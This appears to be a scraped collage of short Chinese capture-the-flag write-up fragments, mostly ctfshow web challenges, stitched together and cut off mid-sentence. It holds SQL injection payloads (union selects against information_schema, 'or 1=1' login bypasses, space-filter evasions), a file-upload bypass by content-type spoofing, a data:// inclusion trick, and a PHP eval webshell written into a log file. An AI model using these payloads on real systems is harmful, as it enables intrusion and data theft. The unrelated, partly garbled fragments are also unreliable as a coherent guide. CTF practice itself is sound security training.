web151(前端校验) 题目中提示前端检验不可靠,应该对前端检验进行绕过 检查前端代码进行修改,使php文件可以通过前端校验,成功上传后进行命令执行,找到flag web152(content-type) 通过前端校验后上传php文件显示文件类型不合规 尝试抓包修改content-type,根据数据包回显得知上传成功。
指定ID用户 $sql = "select pass from ctfshow_user where username = {$username}"; //返回逻辑 //用户名检测 if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){ $ret['msg']='用户名非法'; die(json_encode($ret)); } //密码检测 ...
密码栏hex解码出flag。web174//拼接sql语句查找指定ID用户 $sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;"; //检查结果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查询成功'; } ...
data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。 ?c=data://text/plain, 看源代码,因为flag.php注释注释了flag,所以看不见,需要查看源代码 也可以使用tac来读取,破坏php的注释规则,就可以直接在页面上看见flag了 web 38 error_reporting(0...
然后密文base64->AES得到flag 在线AES加密 | AES解密 - 在线工具 (sojson.com) ctfshow{W0w_th3_st0ry_s0_w0nderfu1!} 麻辣兔头又一锅 代码语言:javascript 复制 题目描述: 听说有人不喜欢短尾巴的兔兔?肿么可能?我也很疑惑呢。 代码语言:javascript ...
Web171 查询语句如下: //拼接sql语句查找指定ID用户$sql="select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; 查数据库名: -1'unionselect1,2,database()--+ 查表名: -1'unionselect1,2,concat(0x2c,table_name)frominformation_schema.tables...
数据库账号密码在./api/config.php 看到root root 使用antsword的数据库操作,拿到flag web176 -1’ or 1='1 秒了,就像没有过滤一样 web177 空格被过滤,使用/**/或(`)或%0b代替空格,括号里的sql语句可用反引号代替空格,/**/相当于注释,能当空格 ...
可以看到是先注册了一个用户名为userLogger ,密码为<?=eval($_POST[1]);?>.php的用户,然后触发反序列化,写入日志马,然后拿到shell。 其实关键的地方和非预期一样,也是序列化时的options参数, key为19,value为262152. 19即为 PDO::ATTR_DEFAULT_FETCH_MODE,其值指定了数据库的结果(和数据库没关系)如何返回...
直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1# 复制代码 1 2 3 ?name=admin&pass=%1$'or1=1--+ 找到此页面的cookie 转为16进制解码得到 flag.txt 尝试将Cookie中的file赋值为/flag,即 将/flag换成16进制
如果查询两个字段会出现下面的结果,生成一个假的用户 当只查询一个字段时,通过在username处插入SQL查询语句改变查询结果 1' union select 1# '; 1. 输入密码1即可登录后台获取flag 方法二:写入shell 既然是没有回显,也可以用写shell的方法 SQL注入写入文件前提推荐阅读 ...